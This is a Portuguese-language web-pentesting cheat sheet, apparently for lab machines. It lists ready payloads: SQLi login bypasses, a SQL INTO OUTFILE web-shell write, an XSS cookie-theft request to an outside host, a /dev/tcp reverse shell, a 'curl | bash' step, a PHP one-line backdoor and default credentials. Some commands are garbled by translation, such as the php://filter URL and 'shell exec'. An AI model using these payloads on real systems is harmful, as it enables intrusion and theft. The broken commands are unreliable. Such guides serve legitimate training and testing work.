Contents

by @an4kein | 19/02/2022 | Blog: https://an4kein.github.io/

guia_pratico

Antes de começar por aqui, lembre-se que o GOOGLE é seu melhor amigo!

Web

1: Verifique se é um serviço HTTP ou HTTPS. Se for HTTPS, verifique seu certificado,se não tem alguma vulnerabilidade SSL, como a vulnerabilidade HeartBleed, a ferramenta está disponível https://github.com/drwetter/testssl.sh

2: Se necessário, enumere seus subdomínios, adicione o host virtual ao `/etc/hosts`

3: Acesse o URL de destino em um navegador, Chrome e Firefox

OSINT

1: Verifique seu conteúdo, como `blogs, comentários, perfis de usuários`, etc. encontre algo sobre `usuários/membros/equipe`, crie uma lista de `possíveis nomes de usuário/senhas`

2: Se usa um `modelo oficial`? Se assim for, você dificilmente encontrará algo útil. Caso contrário, continue enumerando

3: `Tema` e `função` deste aplicativo. Esse site é de `Suprimentos`? `Para médico`? Para `gerenciamento de dispositivo`? etc.

Source Code / Page Source

1: `valor padrão` de um elemento

2: `Comentários`, procure por `"<!-"`

3: `Link`, procure por `"href"`

4: `Elemento oculto`. Use a ferramenta de desenvolvimento (dev-tool) para fazê-lo aparecer

5: Mesmo que uma página da web pareça vazia, lembre-se de verificar sua fonte

Header

1: Burpsuite é o preferido

2: Verifique o cabeçalho especial, que pode revelar sua `API`

Diretório e arquivo

0: Enumerar todos os `subdomínios` e `hosts virtuais`

1: Se o servidor web for executado em uma `porta incomum`, tente o protocolo `HTTP` e `HTTPS`

2: `nikto -h http://10.10.10.10`

3: Combine os resultados de `pelo menos dois scanners`

4: `dirb http://10.10.10.10`

5: `gobuster dir -u http://10.10.10.10 -w dir.txt -x html,txt,php,aspx,java -t 20` (`-k`, se `https`)

6: Use o dicionário do aplicativo específico: como o dicionário do `SharePoint CMS`

7: diretório oculto - a. `hostname, domain, username, service name` como um diretório - b. Mencionado em `conteúdo da web`, como um `blog` - c. Procure o `documento/github` repo do aplicativo - d. `robots.txt`, `sitemap.xml` - e. Arquivo de configuração - f. Mensagens de erro - g. `código fonte`, `comentários` - h. protegido por uma autenticação básica: `gobuster dir -U admin -P admin -u http://10.10.10.10/private -w dir.txt -x html,php,aspx,txt -t 20`

8: `Repositório/documento oficial` do GitHub do aplicativo da mesma versão

API Endpoint

0: Semelhante ao `diretório e arquivo`

1: `wfuzz -c -z arquivo,/usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://10.10.10.10/FUZZ/`

2: Mencionado no `conteúdo da web`

3: Em `solicitações e respostas`

4: `Código fonte`, `comentário`

Credencial fraca

1: Sempre tente `admin:admin` primeiro ou `admin:password`, `guest:guest`, `admin:password123`, `user:admin`

2: Pesquise no Google por `login/credencial` padrão -> Exemplo: `joomla default credentials`

Webroot

1: Se o webroot de um servidor web compartilhar o mesmo diretório com `SMB` ou `FTP`, e você tem `permissão de gravação`, tente fazer `upload de um web shell`

2: No `Linux`, uma webroot geralmente é `/var/www/html` ou `/var/www/[appname]` - Lembre-se que depende muito do OS, no `free-bsd` o mesmo app pode ser localizado em um caminho diferente ao encontrado em outra distro, como por exemplo, uma distro Ubuntu.

3: Aproveite o `SQLi` para escrever um `backdoor` para webroot: `' UNION SELECT ("<?php echo passthru($_GET['cmd']);") INTO OUTFILE 'var/www/html/cmd.php' -- -'`

4: Recupere webroot de `mensagens de erro`, `phpinfo`, etc.

CGI

1: Vulnerabilidade de `Shellshock`

Login Bypass

Existem várias maneiras de ignorar o login

1: A `autenticação não ajuda`, ou a autenticação é `desnecessária` para nossa `enumeração/exploração`. Esta é uma das situações mais ideais.

2: Credencial `padrão/fraca`. Esta é também uma das situações mais ideais.

3: carga útil `SQLi`

- a) `username=admin' or '1'='1 password=[arbitrary]`
- b) `username=admin password=' or '1'='1`
- c) `username=admin password=' or 1=1-- -`
- d) `username=admin' or 1=1-- - password=[arbitrar]`

4: `Adivinhe uma credencial` com base em `OSINT` ou `engenharia social`. Antes de adivinhar, você precisa coletar algumas informações. Como o apelido do administrador, o nome real do administrador nome, nome da equipe, nome do serviço, nome do aplicativo, etc. Eles podem ser nomes de usuário em potencial.

Para senha, pode ser o mesmo que nome de usuário e não se esqueça de tentar algumas senhas mais simples, como senha, admin, 123456, password, qwerty, etc.

5: `Registre` um novo user

6: `Solicitações` de `autenticação básica`

7: Revise o `código-fonte`, especialmente os `comentários`

8: Use `SQLi` para `recuperar` ou `substituir` a credencial

9: Use `XSS` para `roubar cookie`

10: `Sessão de reutilização`

11: `OSINT`, como `blogs`, `comentários`, etc.

12: Ataque de `dicionário`, ataque de `força bruta`. Use-o como `última opção`. ZAP é recomendado.

File Inclusion

1: Se um nome de argumento for como `view`, `file`, `page`, `skin`, `theme`, `lang`, `template`, etc., a inclusão de arquivos é altamente possível

2: Se LFI for confirmado, tente `RFI` também

3: Se o RFI não funcionar, altere o protocolo `HTTP/FTP` para o protocolo `SMB`.

4: Se o RFI realmente não existir, use o LFI para ler alguns `arquivos confidenciais`, como um `config` que contém `credenciais`. Em seguida, aproveite a `credencial coletada` para próxima exploração

5: Alternar entre `caminho absoluto` e `caminho relativo`

6: Inclua `arquivos de configuração de serviço`, como `/etc/apache2/sites-available/000-default.co` `/etc/vsftpd.conf`, etc.

7: Use o `filtro PHP` para verificar o `código-fonte`: http://10.10.10.10?page=php://filter/convert.base64-codificar/recurso=view.php

8: Se `XXE` for possível, também pode levar a `LFI`

9: A própria LFI tem `algumas abordagens` que levam ao `RCE`

- 1: Incluir arquivo de sessão
  - a: Preencha um formulário POST para fazer username= `<?php system("[command]");?>`
  - b: Observe o valor da sessão e, em seguida, localize o arquivo de sessão php. Normalmente em `/var/lib/phpx/sess_[SessionId]`, `/tmp/sess_[SessionId]`
  - c: Incluir o arquivo de sessão
- 2: phpinfo + LFI
  - a: Se file_uploads estiver ativado

    - b: PoC script: https://0xdf.gitlab.io/2020/04/22/htb-nineveh.html#shell-as-www-data-via-phpinfophp
- 3: Log poison
    - a: Se o arquivo de log estiver acessível, como `/var/log/vsftpd.log`, `/var/log/apache2/access.log`
    - b: Para `access.log`, insira a carga útil no agente do usuário. Para `vsftpd.log`, forneça carga útil na `seção de nome de usuário`.
    - c: `Incluir` o arquivo de log
- 4: `send mail`
    - a: Envie um e-mail com uma carga maliciosa
    - b: Incluir `/var/mail/www-data`

10: Alguma `restrição`, precisa de um pequeno `ajuste` no `nome do arquivo`, `extensão do arquivo`, final do nome do arquivo `(%00)`, etc.

Path Traversal

1: Leia o `arquivo do servidor`, como `/etc/passwd`

2: Transferir arquivo `inacessível` (arquivo de `back-end`, arquivo `autorizado-requerido`) para diretório acessível (`interface` do gerenciador de arquivos, compartilhamento `SMB/FTP`)

File Upload

1: Não tem nenhuma restrição: Basta fazer o upload!

2: Restrição do lado do cliente: use `burpsuite` para `editar a solicitação` e `encaminhar`

3: Restrição do lado do servidor: altere o `número mágico`, o `nome da extensão do arquivo`, etc.

4: Restrição inexplorável: é uma `toca de coelho`

XSS

1: Roube o `cookie` do administrador ou de outro usuário online para `ignorar o login` - a: `<script>new Image().src="http://10.10.10.20/file.jpg?cookie="+document.cookie;</scr` - b: `nc -nlvp 80`

Command Injection

1: Se você puder encontrar o `código-fonte` para fazer uma revisão do código da `whitebox`

2: Fuzzing `endpoint de API`

3: Fuzz um `argumento`. Se não houver argumento, `adivinhe um`

WordPress

1: Caminho de `login padrão`: `/wp-login.php`, `/wp-login`, `/wp-admin`, `/wp-admin.php`, `/Conecte-se`

2: wpscan

3: `Plugin`, `exploit de temas`

4: Painel RCE (`Aparência-> Editor-> 404 Template`)

5: Faça upload de um plug-in

6: Seu `arquivo de configuração` (para o estágio PE) -> Privilege Escalation - Geralmente em `/var/www/html` `wp-config.php`

Jenkins

1: RCE: crie um novo `new project, build section->execute shell, Build now`

WebDav

1: Use `nikto` para escanear

2: `cadaver http://10.10.10.10`

3: `Credencial` (se necessário)

4: `Put/Get` para `upload/download` arquivo

Version Control

Git

1: Encontre o `repositório do github` do aplicativo que você está testando

2: Use a ferramenta git para reconstruir o projeto: - a. `./gitdumper.sh http://10.10.10.10/.git rep1` - b. `cd rep1 && git checkout -- .`

3: Mostrar logs: `git logs`

4: Mostrar log de um commit: `git show [commit]`

Svn

1: Revise os `logs do repositório: svn log --username admin --password admin http://10.10.10.10/svn/rep1`

2: `Compare as diferenças` com as versões anteriores: `svn diff -r 2:1 --username admin --password admin http://10.10.10.10/svn/rep1`

Apache

1: `phpinfo.php`

Tomcat

1: Tente acessar `/manager`

2: Senha padrão: `admin:admin`, `tomcat:tomcat`, `admin:NULL`, `admin:s3cr3t`, `tomcat:s3cr3t`, `admin:tomcat`

3: Carregar carga útil `.war` - #Vc pode gerar usando o msfvenom ou alguma outra tool

Nginx

1: Verifique: https://book.hacktricks.xyz/pentesting/pentesting-web/nginx

IIS

1: Verifique e teste as extensões de arquivo `asp`, `aspx`, `config`, `php`

2: arquivo `web.config`

Database

1: `SQLi`

2: `Recuperar a credencial` - #Sempre reutilize em outro lugar

3: `Substituir a credencial` se o hash for `inexplorável`

4: Escreva um web shell no webroot: `' UNION SELECT ("<?php echo passthru($_GET['cmd']);") INTO OUTFILE '/var/www/html/cmd.php' -- -'`

Plugin

1: Exploração do plug-in vulnerável

2: Habilite um `plugin específico`

API Hacking

1: Use `burpsuite` para analisar `solicitações`, `respostas` e `URLs ocultas` (especialmente aqueles não podem ser enumerados por dirb ou gobuster)

2: Enumerar todos os `endpoints`

3: Interface, como interface `GraphQL para Gatsby`

4: Documento oficial

5: Fuzz Endpoint da API (http://10.10.10.10/endpoint/FUZZ) para verificar `LFI/RFI` e Vulnerabilidade de `injeção de comando` com `nome de arquivo`, `comando`, `nome de arquivo codificado e comando`

XXE

1: Pode ser usado para `incluir arquivo local`

SSTI

1: tente payload `cmd={{7*7}}` para detectar

SSRF

1: Acesse o `servidor web interno`

SSI

1: Preste atenção à página `shtml`

IP Restriction Bypass

1: Adicionar `X-Forwarded-For: 127.0.0.1` no header

2: `SSRF`

Dependency of Multiple Services

1: Use burpsuite para analisar tráfegos

2: Links apontando para `outras portas` nos `códigos-fonte`

3: `Banco de dados`, `servidor memcached`, etc.

4: Especial `request header`

GraphQL

1: `/graphgl`, `/graphiql`, `/graphql.php`, `/graphql/console`, `/__graphql` OU
use `wordlist` para fazer o `fuzzing`: https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/graphql.txt

2: `Query`

Deserialization

1: desserialização de Java - a: Encontre a `entrada` que pode ser controlada - b: Garantir o `tipo de carga útil` - c: Use `ysoserial.jar` para `gerar uma carga útil` Download tool: https://github.com/frohoff/ysoserial

2: Python Pickle deserialization

3: PHP deserialization

Insecure Function

1: `eval()` em `NodeJS` e `Python`

2: `preg_replace()` em `PHP`

Rails

1: Acesse uma `URL inexistente` para receber a `mensagem de erro`

Werzeug/Flask

1: Se o `debug` estiver habilitado, acesse `/console` e inicie o `RCE`

2: `eval()`

Browser

1: Combine o `Firefox` com o `Chrome`

2: Use complementos convenientes (add-ons): `Wappalyzer`, `Cookie-Editor`, `Shodan`, `Hack-Tools`, `Foxproxy`, etc

3: Se uma exploração não for bem sucedida, mude para `outro explorador`

4: Dev Tool (Ferramentas de desenvolvimento)

Burpsuite and ZAP

Burpsuite

1: Verifique os headers especiais

2: `Comunicação/Dependência` com outros `serviços/portas`

3: `Edite a solicitação` para ignorar o `controle de acesso`

4: Como 3, edite a solicitação para `representar o usuário administrador`

5: Analise a `API`

ZAP

1: Como o `BurpSuite`

2: Quando se trata de `força bruta`, tem uma `velocidade muito maior`

Curl

1: Acesse pelo método `GET` e verifique os cabeçalhos: `curl http://10.10.10.10`

2: Envie uma solicitação `POST`: `curl -X POST --data "id=123" http://10.10.10.10`

3: Alterne entre `POST` e `GET` para testar os endpoints da `API`

4: Escreva um script para `fuzz`

5: `Baixe` o arquivo: `curl http://10.10.10.10/file -o file`

6: Execute um `script remoto`: `curl http://10.10.10.10/shell.sh | bash`

Error Messages

1: `Preenchimento incorreto` ==> Existência de `codificação`, como `Base64`

2: `Nenhum arquivo ou diretório` ==> Possível `LFI/RFI`

3: não é possível `registrar` este nome de usuário ==> Este nome de usuário `existe`

4: Acesse uma `URL inexistente` ==> Revelar `todos os caminhos (Rail)`

Encoding

Encode command in HTTP Request

1: Codificação/decodificação online: https://www.urlencoder.org/

2: Às vezes, apenas `alguns caracteres` serão codificados

Encode command in Python function

1: Substitua `'+'` por `''`. Por exemplo, `sh -i >& /dev/tcp/192.168.49.175/6000 0>&1 ==> sh+-i >& /dev/tcp/192.168.49.175/6000+0`

Encode command in Python function in HTTP Request

1: Use a codificação de URL primeiro

2: Substitua `'%20'` por `'+'`. Por exemplo, `sh -i >& /dev/tcp/192.168.49.175/6000 0>&1 ==> sh+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.49.175%2F6000+0%3E%261`

Web Shell

1: PHP generic

One-line backdoor: `<?php echo shell exec($_GET['cmd'].' 2>&1');`

Web backdoor: https://github.com/WhiteWinterWolf/wwwolf-php-webshell/blob/master/webshell.php

Web backdoor2: https://github.com/artyuum/Simple-PHP-Web-Shell/blob/master/index.php

2: PHP for Windows

Reverse Shell: https://github.com/Dhayalanb/windows-php-reverse-shell

Bind Shell: Check [PHP generic]

3: PHP for Linux

Reverse Shell: https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

4: JSP

Reverse Shell: https://github.com/tennc/webshell/blob/master/jsp/jsp-reverse.jsp

5: ASPX

Reverse Shell: https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.asp

6: Others

Ruby reverse shell: https://github.com/secjohn/ruby-shells/blob/master/revshell.rb

Ruby bind shell: https://github.com/secjohn/ruby-shells/blob/master/shell.rb

Cryptography

1: Escreva um `script python`

2: Faça uso de `ferramenta online`

Unnecessary Authentication

Às vezes, a autenticação é `inútil` ou `desnecessária` para nossa exploração.
Não há necessidade de crackear o login -> (brute force)